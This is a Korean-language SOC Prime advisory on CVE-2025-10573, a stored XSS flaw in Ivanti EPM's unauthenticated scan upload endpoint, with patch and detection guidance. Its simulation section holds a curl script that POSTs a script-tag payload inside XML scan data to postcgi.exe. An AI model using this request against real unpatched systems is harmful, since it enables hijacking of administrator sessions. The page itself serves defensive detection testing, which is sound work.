SOC Prime Bias: 심각

10 12월 2025 19:54

CVE-2025-10573: Ivanti EPM 인증되지 않은 저장된 XSS 취약점 (패치됨)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
CVE-2025-10573: Ivanti EPM 인증되지 않은 저장된 XSS 취약점 (패치됨)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Ivanti Endpoint Manager (EPM)은 인증되지 않은 공격자가 악성 JavaScript를 장치 스캔 데이터에 주입할 수 있는 저장된 크로스 사이트 스크립팅 취약성을 포함하고 있습니다. 이 페이로드가 관리 콘솔 웹 대시보드에 표시될 때 관리자의 세션을 탈취하는 데 사용할 수 있습니다. 이 문제는 CVE-2025-10573으로 추적되며 CVSS 점수는 9.6입니다.

조사

Rapid7은 Windows Server 2022에서 Ivanti EPM 11.0.6 Core 배포를 분석하여, /incomingdata/postcgi.exe로의 조작된 POST 요청이 악성 key=value 필드와 함께 전송되면 JavaScript가 저장되고 나중에 admin UI에서 실행된다는 것을 발견했습니다. 웹 루트 외부에 스캔 파일을 작성하는 postcgi.exe CGI 바이너리의 불안전한 동작이 이 주입 경로를 가능하게 합니다.

완화 방안

Ivanti는 2025-12-09에 패치를 릴리스하였고 Ivanti EPM 버전 2024 SU4 SR1로 업그레이드하면 취약성이 제거됩니다. Rapid7은 Exposure Command, InsightVM 및 Nexpose 고객이 영향을 받는 설치를 식별하는 데 도움이 되도록 인증된 취약성 검사를 제공할 것입니다.

대응

조직은 2024 SU4 SR1 업데이트를 즉시 배포하고, 인증되지 않은 /incomingdata API에 대한 액세스를 제한하며, 웹 서버 로그에서 postcgi.exe를 대상으로 하는 POST 요청을 모니터링해야 합니다. 또한 관리자 세션을 검토하여 탈취의 징후를 찾고 손상되었을 수 있는 자격 증명을 회전해야 합니다.

공격 흐름

이 부분은 아직 업데이트 중입니다. 알림 받기를 신청하세요

알림 신청

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 실행하도록 설계된 적대자 기술 (TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영해야 하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하도록 목표를 둡니다.

  • 공격 서사 및 명령:
    Ivanti EPM 스캔 엔드포인트가 인증 없이 접근할 수 있음을 발견한 공격자는 <script> 태그를 사용하여 경고(세션 탈취를 나타냄)를 나타내는 악성 스캔 페이로드를 만듭니다. 공격자는 curl 을 사용하여 이 페이로드를 POST하여 합법적인 장치 스캔 제출을 모방합니다. 페이로드가 규칙이 감시하는 문자열과 정확히 일치하기 때문에 SIEM에서는 경고를 생성해야 합니다.

  • 회귀 테스트 스크립트:

    #!/bin/bash
    # -------------------------------------------------
    # Ivanti EPM 스캔 API에 대한 저장된 XSS 시뮬레이션
    # -------------------------------------------------
    
    # 대상 URL (호스트를 필요에 맞게 조정)
    TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan"
    
    # 악성 페이로드 – 규칙이 예상하는 문자열과 정확히 일치
    PAYLOAD="<script>alert('관리자 계정이 탈취되었습니다')</script>"
    
    # Ivanti EPM이 기대하는 전체 XML 본문 (간소화됨)
    XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>"
    
    # 요청 전송
    curl -k -X POST "$TARGET" 
      -H "Content-Type: application/xml" 
      -d "$XML_BODY"
    
    echo "악성 스캔 제출됨."
  • 정리 명령:
    스캔 데이터는 일반적으로 인증된 관리자가 필요로 하는 Ivanti EPM 데이터베이스에 지속됩니다. 테스트 목적으로 정리 단계는 로컬 로그 캡처에서 테스트 파일을 제거하는 것으로 제한됩니다.

    #!/bin/bash
    # 간단한 정리: 임시 curl 로그 제거 (있는 경우)
    rm -f /tmp/curl_log_*
    echo "로컬 테스트 아티팩트 제거됨."